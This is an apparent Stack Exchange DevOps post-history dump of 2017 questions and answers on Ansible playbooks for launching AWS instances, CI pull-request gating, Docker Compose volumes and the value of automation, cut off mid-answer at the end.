  <row Id="4438" PostHistoryTypeId="2" PostId="1355" RevisionGUID="d4d0a777-8ae9-420f-95a4-0cfaccd44f1b" CreationDate="2017-06-15T19:27:06.913" UserId="3152" Text="Sorry for the general and vague nature of my question.  Let me describe with some more detail what I would like to do (or what I think I would like to do).  &#xD;&#xA;&#xD;&#xA;I have a shell script for ubuntu 16.04 that sets up my instance how I want it.  But it needs to use two different variable inputs for each different instance.  For example, if across all the instances that I wanted to set up, I wanted to put in different timezone, I could start with a list of all the timezones, and iteratively deploy a machine for each timezone.  Maybe the solution I look for would drop a textfile with the timezone I wanted on each instance. That would be enough for me to read the file and set it up.  I just need a solution that will allow me to create any number of cloud instances of ubuntu 16.04 and deliver seperate textfiles with these timezones.  They are all identical except the file with the timezone. &#xD;&#xA;&#xD;&#xA;I'd like to be able to create all these instances simultaneously from the command line or through some R package for an API interface. Digital Ocean, AWS, or even some local option if I should be considering that. &#xD;&#xA;&#xD;&#xA;Is this a job for docker or vagrant?  What is the tool for this kind of deployment? Maybe a script to loop through creating instances with these? " ContentLicense="CC BY-SA 3.0" />
  <row Id="4439" PostHistoryTypeId="1" PostId="1355" RevisionGUID="d4d0a777-8ae9-420f-95a4-0cfaccd44f1b" CreationDate="2017-06-15T19:27:06.913" UserId="3152" Text="Deploying a set of cloud instances based on a list of parameter differences" ContentLicense="CC BY-SA 3.0" />
  <row Id="4440" PostHistoryTypeId="3" PostId="1355" RevisionGUID="d4d0a777-8ae9-420f-95a4-0cfaccd44f1b" CreationDate="2017-06-15T19:27:06.913" UserId="3152" Text="&lt;docker&gt;&lt;vagrant&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4441" PostHistoryTypeId="2" PostId="1356" RevisionGUID="d786a976-aa65-4223-9656-78b692e823c1" CreationDate="2017-06-16T00:08:51.573" UserId="2956" Text="This is why configuration management software exists.&#xD;&#xA;Example for Ansible and AWS:&#xD;&#xA;&#xD;&#xA;    - name: Create a sandbox instance&#xD;&#xA;      hosts: localhost&#xD;&#xA;      gather_facts: False&#xD;&#xA;      vars:&#xD;&#xA;        timezones_path: /some/path/timezones.list&#xD;&#xA;        key_name: my_keypair&#xD;&#xA;        instance_type: m1.small&#xD;&#xA;        security_group: my_securitygroup&#xD;&#xA;        vpc_subnet: my_vpc_id&#xD;&#xA;        image: my_ami_id&#xD;&#xA;        region: us-east-1&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Load timezones list&#xD;&#xA;          shell: &quot;echo {{ item }}&quot;&#xD;&#xA;          with_lines: &quot;cat {{ timezones_path|quote }}&quot;&#xD;&#xA;          register: timezones&#xD;&#xA;    &#xD;&#xA;        - name: Launch instances&#xD;&#xA;          ec2:&#xD;&#xA;             key_name: &quot;{{ keypair }}&quot;&#xD;&#xA;             group: &quot;{{ security_group }}&quot;&#xD;&#xA;             instance_type: &quot;{{ instance_type }}&quot;&#xD;&#xA;             image: &quot;{{ image }}&quot;&#xD;&#xA;             wait: true&#xD;&#xA;             region: &quot;{{ region }}&quot;&#xD;&#xA;             vpc_subnet_id: &quot;{{ vpc_subnet }}&quot;&#xD;&#xA;             assign_public_ip: yes&#xD;&#xA;             count: &quot;{{ timezones|length }}&quot;&#xD;&#xA;          register: ec2&#xD;&#xA;    &#xD;&#xA;        - name: Add new instance to host group&#xD;&#xA;          add_host:&#xD;&#xA;            hostname: &quot;{{ item.1.public_ip }}&quot;&#xD;&#xA;            timezone: &quot;{{ item.0 }}&quot;&#xD;&#xA;            groupname: launched&#xD;&#xA;          with_together:&#xD;&#xA;            &quot;{{ timezones }}&quot;&#xD;&#xA;            &quot;{{ ec2.instances }}&quot;&#xD;&#xA;    &#xD;&#xA;        -name: Tag instances with timezones&#xD;&#xA;          ec2_tag:&#xD;&#xA;            region: &quot;{{ region }}&quot;&#xD;&#xA;            resource: &quot;{{ item.id }}&quot;&#xD;&#xA;            tags:&#xD;&#xA;              Timezone: &quot;{{ item.timezone }}&quot;&#xD;&#xA;          with_items: &quot;{{ groups['launched'] }}&quot;&#xD;&#xA;    &#xD;&#xA;        - name: Wait for SSH to come up&#xD;&#xA;          wait_for:&#xD;&#xA;            host: &quot;{{ item.public_dns_name }}&quot;&#xD;&#xA;            port: 22&#xD;&#xA;            delay: 60&#xD;&#xA;            timeout: 320&#xD;&#xA;            state: started&#xD;&#xA;          with_items: &quot;{{ ec2.instances }}&quot;&#xD;&#xA;    &#xD;&#xA;    - name: Configure instance(s)&#xD;&#xA;      hosts: launched&#xD;&#xA;      become: True&#xD;&#xA;      gather_facts: True&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Run deploy script&#xD;&#xA;          shell: &quot;/path/to/script.sh --tz {{timezone}}&quot;&#xD;&#xA;Path to script in last line should be for host which runs Ansible, not remote." ContentLicense="CC BY-SA 3.0" />
  <row Id="4442" PostHistoryTypeId="2" PostId="1357" RevisionGUID="8659bdfb-f1f1-4f7f-9e40-76fdbe471196" CreationDate="2017-06-16T02:59:04.210" UserId="3154" Text="I have a very large codebase that currently takes ~30 minutes to build via Jenkins.  It's connected to our Source control/review system (Let's just say GitHub for now) so that every PR automatically gets tested and must build before we allow it to be merged.&#xD;&#xA;&#xD;&#xA;We're seeing a behavior where 2 PR's (We'll call them PR#a and PR#b) can exist and each one is tested successfully (code builds, unit tests run, etc).  However, they're each tested against the tip of develop.  That means once PR#a is merged, PR#b shows that's been tested and valid.. However merging it exposes an API break merged as part of PR#b, and now the build is broken pending a fix.&#xD;&#xA;&#xD;&#xA;What's the typical way to prevent this?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4443" PostHistoryTypeId="1" PostId="1357" RevisionGUID="8659bdfb-f1f1-4f7f-9e40-76fdbe471196" CreationDate="2017-06-16T02:59:04.210" UserId="3154" Text="Jenkins Testing CR's - allowing broken builds" ContentLicense="CC BY-SA 3.0" />
  <row Id="4444" PostHistoryTypeId="3" PostId="1357" RevisionGUID="8659bdfb-f1f1-4f7f-9e40-76fdbe471196" CreationDate="2017-06-16T02:59:04.210" UserId="3154" Text="&lt;jenkins&gt;&lt;builds&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4446" PostHistoryTypeId="2" PostId="1358" RevisionGUID="a1dcc499-44d0-4466-b86c-d5b1d9124a75" CreationDate="2017-06-16T08:06:09.237" UserId="2956" Text="On GitHub - you can't. Basically, their PRs are temp branches, and there's no check if base commit is HEAD of branch to merge in.&#xD;&#xA;This problem is solved with gating systems like [Zuul][1], which puts all PRs into queue to run tests.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.openstack.org/infra/zuul/index.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="4447" PostHistoryTypeId="2" PostId="1359" RevisionGUID="86b8d772-7494-4d55-a5ca-cf8a37f3050a" CreationDate="2017-06-16T08:49:26.667" UserId="707" Text="Many of us use this term in daily business quite intuitively: &quot;build stage&quot;, &quot;test stage&quot; and used long before the rise of DevOps. &#xD;&#xA;&#xD;&#xA;But is there a formal and/or well-established definition of this term? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Additional question: Who and where used it for first time?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4448" PostHistoryTypeId="1" PostId="1359" RevisionGUID="86b8d772-7494-4d55-a5ca-cf8a37f3050a" CreationDate="2017-06-16T08:49:26.667" UserId="707" Text="What is, or could be the formal and/or officially established definion of &quot;stage&quot;?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4449" PostHistoryTypeId="3" PostId="1359" RevisionGUID="86b8d772-7494-4d55-a5ca-cf8a37f3050a" CreationDate="2017-06-16T08:49:26.667" UserId="707" Text="&lt;terminology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4450" PostHistoryTypeId="4" PostId="1359" RevisionGUID="02364719-2b7d-4e37-8630-2bbd0d99bf26" CreationDate="2017-06-16T10:13:11.977" UserId="707" Comment="edited title" Text="What is, or could be the formal and/or officially established definion of a &quot;stage&quot;?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4451" PostHistoryTypeId="2" PostId="1360" RevisionGUID="2bddc00c-6c6f-4073-9d16-fbc83ede890f" CreationDate="2017-06-16T10:22:58.013" UserId="3158" Text="Currently it is not possible to make concurrent builds with Docker Compose.&#xD;&#xA;&#xD;&#xA;There are issues about that but the latest tests indicates that concurrent builds takes actually longer than the sequential ones.&#xD;&#xA;&#xD;&#xA;The issue seems to be related to the storage drivers.  &#xD;&#xA;You can track this issue to get updates: https://github.com/moby/moby/issues/9656" ContentLicense="CC BY-SA 3.0" />
  <row Id="4452" PostHistoryTypeId="5" PostId="1357" RevisionGUID="288cf6ca-a5b9-4544-bf7a-4dc97bac5b8d" CreationDate="2017-06-16T10:46:17.987" UserId="3154" Comment="added 82 characters in body" Text="I have a very large codebase that currently takes ~30 minutes to build via Jenkins.  It's connected to our Source control/review system (Let's just say GitHub for now) so that every PR automatically gets tested and must build before we allow it to be merged.&#xD;&#xA;&#xD;&#xA;We're seeing a behavior where 2 PR's (We'll call them PR#a and PR#b) can exist and each one is tested successfully (code builds, unit tests run, etc).  However, they're each tested against the tip of develop.  That means once PR#a is merged, PR#b shows that's been tested and valid.. However merging it exposes an API break merged as part of PR#b, and now the build is broken pending a fix.&#xD;&#xA;&#xD;&#xA;What's the typical way to prevent this? If not in GitHub, what about other systems? (GitLab, Gerrit, or Stash/Crucible ?)" ContentLicense="CC BY-SA 3.0" />
  <row Id="4453" PostHistoryTypeId="2" PostId="1361" RevisionGUID="d87e11ff-a710-44e7-ab06-0d3c95fb8e32" CreationDate="2017-06-16T13:48:04.157" UserId="707" Text="Today, for many domains there is a semantic ontology for making domain data machine-readable.&#xD;&#xA;There are quite many terms in the DevOps domains, often established by vendors but applicable to other tools, like declarative pipelines in Jenkins.&#xD;&#xA;&#xD;&#xA;What are current efforts to establish the ontology of the DevOps domain?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4454" PostHistoryTypeId="1" PostId="1361" RevisionGUID="d87e11ff-a710-44e7-ab06-0d3c95fb8e32" CreationDate="2017-06-16T13:48:04.157" UserId="707" Text="What are known efforts to establish DevOps ontology model?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4455" PostHistoryTypeId="3" PostId="1361" RevisionGUID="d87e11ff-a710-44e7-ab06-0d3c95fb8e32" CreationDate="2017-06-16T13:48:04.157" UserId="707" Text="&lt;methodology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4456" PostHistoryTypeId="5" PostId="1361" RevisionGUID="ca147548-8322-4b55-884b-612740d708f6" CreationDate="2017-06-16T14:35:29.773" UserId="707" Comment="added 12 characters in body" Text="Today, for many domains there is a semantic ontology for making domain data machine-readable.&#xD;&#xA;There are quite many terms in the DevOps and related domains, often established by vendors but applicable to other tools, like declarative pipelines in Jenkins.&#xD;&#xA;&#xD;&#xA;What are current efforts to establish the ontology of the DevOps domain?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4457" PostHistoryTypeId="6" PostId="1361" RevisionGUID="ca147548-8322-4b55-884b-612740d708f6" CreationDate="2017-06-16T14:35:29.773" UserId="707" Comment="added 12 characters in body" Text="&lt;terminology&gt;&lt;methodology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4458" PostHistoryTypeId="5" PostId="1358" RevisionGUID="f7746145-36e3-4194-a25f-d113b9a9a5b7" CreationDate="2017-06-16T18:24:15.903" UserId="2956" Comment="Answering question added, wording" Text="On GitHub - you can't. Basically, their PRs are temporary branches, and there's no check if base commit is HEAD of branch to merge in.&#xD;&#xA;This problem is solved with gating systems like [Zuul][1], which puts all PRs into queue to run tests.&#xD;&#xA;&#xD;&#xA;You are talking about systems for managing and storing code, while the issue is in CI scope (i.e. [Gitlab flow][2] has this issue described in &quot;Testing before merging&quot; paragraph), Zuul is made exactly to fix this problem, because the amount of merges to OpenStack codebase per day is large (year ago they had 6 zuul instances to run tests for merges).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.openstack.org/infra/zuul/index.html&#xD;&#xA;  [2]: https://about.gitlab.com/2014/09/29/gitlab-flow/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4462" PostHistoryTypeId="2" PostId="1363" RevisionGUID="7b7d1f73-7098-4d02-b3fd-37f19cb1728a" CreationDate="2017-06-17T09:08:30.577" UserId="210" Text="To avoid such issues, that is why there are [Hosts and Groups in Ansible][1].&#xD;&#xA;&#xD;&#xA;&gt;     /etc/ansible/group_vars/raleigh # can optionally end in '.yml', '.yaml', or '.json'&#xD;&#xA;&gt;     /etc/ansible/group_vars/webservers&#xD;&#xA;&gt;     /etc/ansible/host_vars/foosball&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/intro_inventory.html#hosts-and-groups" ContentLicense="CC BY-SA 3.0" />
  <row Id="4463" PostHistoryTypeId="2" PostId="1364" RevisionGUID="7cc5cbaf-be8a-434c-9f7f-1dbc29c91de6" CreationDate="2017-06-18T05:54:34.973" UserId="2845" Text="Obviously, Automated configuration management and deployment makes sense at large scales when you need to manage hundreds of servers and you need those servers to be identically configured to a consistent standard.&#xD;&#xA;&#xD;&#xA;However, in situations where systems are small and need only 2, 3 or 4 servers, it can often be faster in build time to simply stand up a first instance and clone subsequent instances - changing IP addresses and hostnames by hand.&#xD;&#xA;&#xD;&#xA;The theoretical advantage to automated deployment and configuration management is that code can be deployed faster, tested faster and services are provided more reliably by automating out the problem of human error. Future upgrades of the underlying OS (eg, CentOS 6 -&gt; CentOS 7) are better/faster and in the long run the above benefits outweigh the initial larger investment of programmatically automating deployments using a configuration management system?&#xD;&#xA;&#xD;&#xA;Are there any real-world non-anecdotal studies and data-points to back each of the above claimed benefits to small shops with very low numbers of servers to manage?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4464" PostHistoryTypeId="1" PostId="1364" RevisionGUID="7cc5cbaf-be8a-434c-9f7f-1dbc29c91de6" CreationDate="2017-06-18T05:54:34.973" UserId="2845" Text="Does full automation provide still provide a better ROI at small scales?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4465" PostHistoryTypeId="3" PostId="1364" RevisionGUID="7cc5cbaf-be8a-434c-9f7f-1dbc29c91de6" CreationDate="2017-06-18T05:54:34.973" UserId="2845" Text="&lt;automation&gt;&lt;configuration-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4466" PostHistoryTypeId="2" PostId="1365" RevisionGUID="f452b175-3816-4c2f-9423-fa916188caef" CreationDate="2017-06-18T06:21:17.950" UserId="3175" Text="The main advantage to automation isn't just automation itself, but also that it provides you with an identical configuration across all of your resources.&#xD;&#xA;&#xD;&#xA;Say, for example, you stand up a webserver hosting your application and all relevant configs.  Then you register it as an Amazon AMI so you can deploy multiple copies (say, one for dev, one for test, and one for production).  You roll it out, and with how AWS works, you don't even need to change any IPs by hand.&#xD;&#xA;&#xD;&#xA;A few weeks later you realize you need to change SSL session cache size in nginx, or users of your application can't upload large files.&#xD;&#xA;&#xD;&#xA;Since you only have a few boxes, you do the update by hand.  You do these config changes a few more times and well-document them.&#xD;&#xA;&#xD;&#xA;Then a week later you deploy a new box (a customer is asking for a UAT environment to test their integration).  You're sick, so someone else is standing up the server instead of you.  Or maybe your instance in AWS dies, so you have to rebuild production in the middle of the night after a good binge-drinking session.  Everything works perfectly... except for one specific config-related feature.  Cue wasting two hours of figuring out why it's happening as an account manager is riding your ass, only to realize the other admin forgot a single stupid config setting when deploying a new server.&#xD;&#xA;&#xD;&#xA;Have this happen to you a few times, and you'll want to find a way to minimize these issues.&#xD;&#xA;&#xD;&#xA;So why not take a few days of your time and write out a simple deployment pipeline with Ansible or Puppet and put it in git?  From that point on, any config changes are only a push away, and you'll rarely have to worry about a similar incident occurring.&#xD;&#xA;&#xD;&#xA;Now, it's not peer-reviewed, APA-cited research papers you're asking for, but point me a sysadmin that's never had this happen to them, and my company will probably throw them a job offer with a pretty nice signing bonus." ContentLicense="CC BY-SA 3.0" />
  <row Id="4467" PostHistoryTypeId="2" PostId="1366" RevisionGUID="35b4bf3f-a51f-41ce-b560-c2cf5997bb3b" CreationDate="2017-06-18T06:30:12.443" UserId="3175" Text="Since I can't comment on 030's answer yet (just opened an account), I'll answer here.&#xD;&#xA;&#xD;&#xA;Group vars directories are relative to the Ansible path.&#xD;&#xA;&#xD;&#xA;You don't have to run Ansible from /etc/ansible.  You can run it from ~/.totallynotporn/itsreallynotporn/stuff if you wish.  Just make sure to keep a directory structure.  I.e.:&#xD;&#xA;&#xD;&#xA;    /pipeline/   # ansible playbooks are here&#xD;&#xA;    /pipeline/roles&#xD;&#xA;    /pipeline/group_vars&#xD;&#xA;&#xD;&#xA;Then you can run something like&#xD;&#xA;&#xD;&#xA;    cd /pipeline&#xD;&#xA;    ansible-playbook deploy_app.yml&#xD;&#xA;&#xD;&#xA;Which will read group vars from the pipeline/group_vars folder.  Better to cd to your ansible root folder first since it looks for paths from the current folder you're in if it can't find them in default location (/etc/ansible), such that you can put your ansible.cfg in /pipeline without having to specify other command line arguments.  You can also optionally define specific paths inside ansible.cfg as well.&#xD;&#xA;&#xD;&#xA;You can take it a step further and set up separate group vars for each environment/location/etc:&#xD;&#xA;&#xD;&#xA;    /pipeline/prod/group_vars/all.yml&#xD;&#xA;    /pipeline/dev/group_vars/all.yml&#xD;&#xA;&#xD;&#xA;And run as follows using include-vars.&#xD;&#xA;&#xD;&#xA;   ansible-playbook deploy_app.yml -i prod&#xD;&#xA;&#xD;&#xA;Hope this helps." ContentLicense="CC BY-SA 3.0" />
  <row Id="4468" PostHistoryTypeId="2" PostId="1367" RevisionGUID="ff016a04-d1b9-4753-b491-88b3bd520f9e" CreationDate="2017-06-18T08:46:18.403" UserId="6" Text="There is definite value in automating manual tasks and placing systems under configuration management that is done using code, not using paper and human intervention.&#xD;&#xA;&#xD;&#xA;One huge benefit is the reduction in the amount of rework. You can consider any problem caused by a human mistake in repeating the same sequence a case of rework. As well as any bug that needs to be fixed more than once.&#xD;&#xA;&#xD;&#xA;Rework is costly, and there has been some research done to quantify its cost. You can read about it in this whitepaper - https://devops-research.com/roi/&#xD;&#xA;&#xD;&#xA;The same whitepaper also quantifies the cost of failure for services/systems, and the slowness to resolve failure. All of which are greatly reduced by having a robust automated process that prevents human mistakes from ending up in production systems." ContentLicense="CC BY-SA 3.0" />
  <row Id="4469" PostHistoryTypeId="2" PostId="1368" RevisionGUID="e9f61086-0e6a-451f-a4c7-7febad340049" CreationDate="2017-06-18T19:37:46.970" UserId="960" Text="Often in technology we co-opt English words and give them alternate meanings. However, in this case it's really just [the standard definition](http://www.wordnik.com/words/stage):&#xA;&#xA;&gt; A level, degree, or period of time in the course of a process" ContentLicense="CC BY-SA 3.0" />
  <row Id="4470" PostHistoryTypeId="2" PostId="1369" RevisionGUID="baab7e21-2787-4069-85a3-efe9a3acc388" CreationDate="2017-06-18T20:03:30.107" UserId="960" Text="You'll notice that [the official recommendations for directory layout](https://docs.ansible.com/ansible/playbooks_best_practices.html#content-organization) put all of the playbooks at the root level.  This is intentional, as Ansible doesn't handle other schemes well.&#xD;&#xA;&#xD;&#xA;You *can* put playbooks in a subdirectory, as you've started to do, but that will require (as you've already found) the use of relative paths from the playbooks to any other resources they use; Ansible uses the playbook path to start its search, that's just how it's written.  For the most part, that's just what you get to deal with when you make the choice to move where playbooks live.&#xD;&#xA;&#xD;&#xA;However, you seem to have more nesting than you should:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - hosts:  aws_instance.jenkins-agents&#xD;&#xA;      user:   ec2-user&#xD;&#xA;      vars_files:&#xD;&#xA;        - ../../../vars/main.yaml&#xD;&#xA;        - ../../../vars/vault.yaml&#xD;&#xA;      ...&#xD;&#xA;&#xD;&#xA;Why are you navigating up *three* directories?  I'd expect a layout that's like the official one, but with one subfolder for playbooks; then you'd end up with just&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - hosts:  aws_instance.jenkins-agents&#xD;&#xA;      user:   ec2-user&#xD;&#xA;      vars_files:&#xD;&#xA;        - ../vars/main.yaml&#xD;&#xA;        - ../vars/vault.yaml&#xD;&#xA;      ...&#xD;&#xA;&#xD;&#xA;which is a much more minor change.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Secondly, it's pretty rare that you actually want to use `vars_files`.  Most variables used in Ansible either vary based on the host (and thus should go in `group_vars`/`host_vars` in the project root) or are role-specific (and thus should go in `vars`/`defaults` in the role directory).  A few documentation links:&#xD;&#xA;&#xD;&#xA;* https://docs.ansible.com/ansible/intro_inventory.html#splitting-out-host-and-group-specific-data&#xD;&#xA;* https://docs.ansible.com/ansible/playbooks_roles.html#roles&#xD;&#xA;* https://docs.ansible.com/ansible/playbooks_roles.html#role-default-variables&#xD;&#xA;&#xD;&#xA;Personally, I think it's best to have as little as possible in your playbooks, but delegate everything out to roles.  Here's an example entire playbook in your setup:&#xD;&#xA;&#xD;&#xA;    - hosts: aws_instance.jenkins-agents&#xD;&#xA;      roles:&#xD;&#xA;        - ../roles/jenkins_agent&#xD;&#xA;&#xD;&#xA;This gives you far more flexibility for re-use.&#xD;&#xA;&#xD;&#xA;And if you find yourself not wanting to use relative paths for roles, you can override [`roles_path`](https://docs.ansible.com/ansible/intro_configuration.html#roles-path) in an `ansible.cfg` in the root directory where you run your Ansible commands from." ContentLicense="CC BY-SA 3.0" />
  <row Id="4471" PostHistoryTypeId="50" PostId="1130" RevisionGUID="4dca62e3-acbd-41ba-b7ef-533435023206" CreationDate="2017-06-18T23:13:18.453" UserId="-1" />
  <row Id="4477" PostHistoryTypeId="5" PostId="1367" RevisionGUID="3ec7e8be-3101-4f07-8b33-663321b39101" CreationDate="2017-06-19T07:25:26.400" UserId="6" Comment="expanded explanation about state of devops report" Text="There is definite value in automating manual tasks and placing systems under configuration management that is done using code, not using paper and human intervention.&#xD;&#xA;&#xD;&#xA;One huge benefit is the reduction in the amount of rework. You can consider any problem caused by a human mistake in repeating the same sequence a case of rework. As well as any bug that needs to be fixed more than once.&#xD;&#xA;&#xD;&#xA;Rework is costly, and there has been some research done to quantify its cost. You can read about it in this whitepaper - https://devops-research.com/roi/&#xD;&#xA;&#xD;&#xA;The same whitepaper also quantifies the cost of failure for services/systems, and the slowness to resolve failure. All of which are greatly reduced by having a robust automated process that prevents human mistakes from ending up in production systems.&#xD;&#xA;&#xD;&#xA;The topic of automating manual tasks has been also investigated in the _State of DevOps Report_ that has been issues every year since 2013. Most of these are available at https://devops-research.com/research.html as well (with the exception of 2013). In every report it was mentioned as the biggest driver for excellence in high-performing organizations of all sizes. There are plenty of reasons and explanations that can be used as proof for your case." ContentLicense="CC BY-SA 3.0" />
  <row Id="4478" PostHistoryTypeId="5" PostId="1366" RevisionGUID="cee1d488-2a1e-4d37-99b5-b996560a8a88" CreationDate="2017-06-19T07:54:34.583" UserId="13" Comment="Keep placeholder names professional and avoid ringing companies proxies." Text="Since I can't comment on 030's answer yet (just opened an account), I'll answer here.&#xD;&#xA;&#xD;&#xA;Group vars directories are relative to the Ansible path.&#xD;&#xA;&#xD;&#xA;You don't have to run Ansible from /etc/ansible.  You can run it from ~/.hidden/directory/stuff if you wish.  Just make sure to keep a directory structure.  I.e.:&#xD;&#xA;&#xD;&#xA;    /pipeline/   # ansible playbooks are here&#xD;&#xA;    /pipeline/roles&#xD;&#xA;    /pipeline/group_vars&#xD;&#xA;&#xD;&#xA;Then you can run something like&#xD;&#xA;&#xD;&#xA;    cd /pipeline&#xD;&#xA;    ansible-playbook deploy_app.yml&#xD;&#xA;&#xD;&#xA;Which will read group vars from the pipeline/group_vars folder.  Better to cd to your ansible root folder first since it looks for paths from the current folder you're in if it can't find them in default location (/etc/ansible), such that you can put your ansible.cfg in /pipeline without having to specify other command line arguments.  You can also optionally define specific paths inside ansible.cfg as well.&#xD;&#xA;&#xD;&#xA;You can take it a step further and set up separate group vars for each environment/location/etc:&#xD;&#xA;&#xD;&#xA;    /pipeline/prod/group_vars/all.yml&#xD;&#xA;    /pipeline/dev/group_vars/all.yml&#xD;&#xA;&#xD;&#xA;And run as follows using include-vars.&#xD;&#xA;&#xD;&#xA;   ansible-playbook deploy_app.yml -i prod&#xD;&#xA;&#xD;&#xA;Hope this helps." ContentLicense="CC BY-SA 3.0" />
  <row Id="4479" PostHistoryTypeId="5" PostId="1361" RevisionGUID="afbadb4d-eb89-4516-b762-2fc4798042be" CreationDate="2017-06-19T09:11:47.883" UserId="707" Comment="added 293 characters in body" Text="Today, for many domains there is a semantic ontology for making domain data machine-readable.&#xD;&#xA;There are quite many terms in the DevOps and related domains, often established by vendors but applicable to other tools, like declarative pipelines in Jenkins.&#xD;&#xA;&#xD;&#xA;What are current efforts to establish the ontology of the DevOps domain?&#xD;&#xA;&#xD;&#xA;References/Further reading:&#xD;&#xA;&#xD;&#xA;[1] http://protege.stanford.edu/publications/ontology_development/ontology101-noy-mcguinness.html&#xD;&#xA;&#xD;&#xA;[2] https://en.wikipedia.org/wiki/Ontology_(information_science)&#xD;&#xA;&#xD;&#xA;[3] https://www.w3.org/wiki/Ontology_repositories&#xD;&#xA;&#xD;&#xA;[4] https://www.w3.org/TR/mediaont-10/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4481" PostHistoryTypeId="4" PostId="1364" RevisionGUID="c5435fe2-8db8-491e-8c41-2a40a930d0e3" CreationDate="2017-06-19T14:20:32.587" UserId="-1" Comment="Removing an irrelevant part." Text="Does full automation still provide a better ROI at small scales?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4482" PostHistoryTypeId="24" PostId="1364" RevisionGUID="c5435fe2-8db8-491e-8c41-2a40a930d0e3" CreationDate="2017-06-19T14:20:32.587" Comment="Proposed by 173.178.157.27|a58e367a-e3b6-446a-8b1d-30adae4f8ac1 approved by 2845 edit id of 368" ContentLicense="CC BY-SA 3.0" />
  <row Id="4483" PostHistoryTypeId="2" PostId="1371" RevisionGUID="10f2e2d3-ed7d-4069-a48c-1f8f9eb787bf" CreationDate="2017-06-19T16:00:28.963" UserId="3186" Text="we are using Octopus for our deployment to different environments. But we found that it always packages the complete solution and deploy it to the next level.&#xD;&#xA;Is it possible to put some restrictions - like do not copy and deploy the config folders.&#xD;&#xA;In our case we just need to deploy some specific folders and not the complete packaged solution. Is this possible with Octopus." ContentLicense="CC BY-SA 3.0" />
  <row Id="4484" PostHistoryTypeId="1" PostId="1371" RevisionGUID="10f2e2d3-ed7d-4069-a48c-1f8f9eb787bf" CreationDate="2017-06-19T16:00:28.963" UserId="3186" Text="Octopus Deployment - only deploy some specific folders" ContentLicense="CC BY-SA 3.0" />
  <row Id="4485" PostHistoryTypeId="3" PostId="1371" RevisionGUID="10f2e2d3-ed7d-4069-a48c-1f8f9eb787bf" CreationDate="2017-06-19T16:00:28.963" UserId="3186" Text="&lt;deployment&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4486" PostHistoryTypeId="2" PostId="1372" RevisionGUID="6e06656d-0551-458a-9575-9345efa96b9c" CreationDate="2017-06-19T18:25:33.190" UserId="707" Text="In the Docker Compose example for WordPress, the Ycode listing [1] says:&#xD;&#xA;&#xD;&#xA;    volumes:&#xD;&#xA;       - db_data:/var/lib/mysql&#xD;&#xA;&#xD;&#xA;What is exact meaning here? To compare, while using the Docker client, you can map volume to a host folder [2]:&#xD;&#xA;&#xD;&#xA;    -v /src/webapp:/webapp&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; This command mounts the host directory, `/src/webapp`, into the container at `/webapp`. &#xD;&#xA;&#xD;&#xA;[1] https://docs.docker.com/compose/wordpress/#define-the-project&#xD;&#xA;&#xD;&#xA;[2] https://docs.docker.com/engine/tutorials/dockervolumes/#locate-a-volume" ContentLicense="CC BY-SA 3.0" />
  <row Id="4487" PostHistoryTypeId="1" PostId="1372" RevisionGUID="6e06656d-0551-458a-9575-9345efa96b9c" CreationDate="2017-06-19T18:25:33.190" UserId="707" Text="Understanding how Docker volumes work with compose" ContentLicense="CC BY-SA 3.0" />
  <row Id="4488" PostHistoryTypeId="3" PostId="1372" RevisionGUID="6e06656d-0551-458a-9575-9345efa96b9c" CreationDate="2017-06-19T18:25:33.190" UserId="707" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4489" PostHistoryTypeId="2" PostId="1373" RevisionGUID="3002fa2e-31b7-4766-a091-8d7bc01e2dc7" CreationDate="2017-06-19T18:37:45.587" UserId="488" Text="One of the things I have the hardest time getting across to people is that the man-hours saved doing repetitive tasks is often only a small part of the value of automation. The bigger part is often hard to measure, and nearly impossible to estimate when automating something for the first time: *how it changes the way you work*. Talking with developers, this is a lot easier, because they know test automation (unit tests) and it's an easy comparison to make. It's things like:&#xD;&#xA;&#xD;&#xA; - How does your workflow change when you can do X as often as you want with negligible costs and in very little time?&#xD;&#xA;   - For unit tests, it means bugs get caught much, much earlier - you can test *everything* multiple times per day, instead of shipping something to QA once a week. Turnaround on iterations gets orders of magnitude shorter.&#xD;&#xA;   - For infrastructure, it means that doing a short-lived test environment or proof of concept is a non-event, as is scaling out, as is replacing an unhealthy instance. The LoE nears zero.&#xD;&#xA; - How does your workflow change when you think about automation as part of your process?&#xD;&#xA;   - For unit tests, this means you design your code differently, to facilitate automation, which (often) leads to better, cleaner code.&#xD;&#xA;   - For infrastructure, this encourages you to develop a standard plan for how you're going to automate things - when a new service is being developed, you know what questions you need to ask about it.&#xD;&#xA;   - Developers start to change the way they develop as well, thinking about keeping stateless, graceful shutdown, fast restarts, how configuration is handled, keeping log or data file paths configurable, thinking about what paths the application user needs access to and what access it needs, etc.&#xD;&#xA;&#xD;&#xA;The &quot;pets vs. cattle&quot; shift was 